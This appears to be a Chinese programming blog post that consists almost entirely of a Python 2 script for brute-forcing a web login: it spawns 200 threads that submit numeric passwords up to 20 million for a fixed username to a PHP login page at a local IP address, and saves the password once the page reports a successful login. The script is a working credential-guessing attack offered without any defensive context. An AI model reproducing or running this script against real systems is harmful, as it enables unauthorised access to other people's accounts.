发布时间:2019-08-26 08:44:50编辑:auto阅读(2215)
#-*- coding: utf-8 -*-
import urllib,urllib2, cookielib
cookie_support= urllib2.HTTPCookieProcessor(cookielib.CookieJar())
opener = urllib2.build_opener(cookie_support, urllib2.HTTPHandler)
urllib2.install_opener(opener)
import threading
class PrintNumber(threading.Thread):
def __init__(self, n,m):
self.n = n
self.m=m
super(PrintNumber,self).__init__()
def run(self):
for i in range(self.n, self.n+self.m):
params = urllib.urlencode({'userName':'zjm1126','userPwd':str(i)})
content = urllib2.urlopen('http://192.168.1.200/order/index.php?op=Login&ac=login&',params).read()
if content.find('登录成功') > 0:
file1 = open('password.txt','w')
file1.write(str(i))
return
print i
def run(m,n):
s= m/n
a = [i*s for i in range(n)]
for i in a:
thread = PrintNumber(i,s)
thread.start()
m = 20000000 #范围
n = 200 #几个线程
run(m,n)
上一篇: python apply函数的用法
下一篇: python生成随机字符串
48866
47932
38707
35858
30284
27039
26070
20903
20698
19066
501°
594°
604°
609°
586°
572°
635°
710°
828°
928°